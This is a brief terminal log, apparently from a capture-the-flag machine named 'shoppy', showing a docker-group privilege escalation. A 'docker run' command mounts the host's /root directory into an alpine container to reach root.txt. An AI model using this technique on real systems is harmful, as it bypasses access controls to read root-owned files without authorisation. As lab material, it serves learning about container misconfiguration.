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deploy@shoppy:/home/jaeger$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
alpine       latest    d7d3d98c851f   2 years ago   5.53MB
deploy@shoppy:/home/jaeger$ docker run -v /root:/mnt -it alpine
/ # ls
bin    dev    etc    home   lib    media  mnt    opt    proc   root   run    sbin   srv    sys    tmp    usr    var
/ # cd /mnt
/mnt # ls
root.txt
/mnt #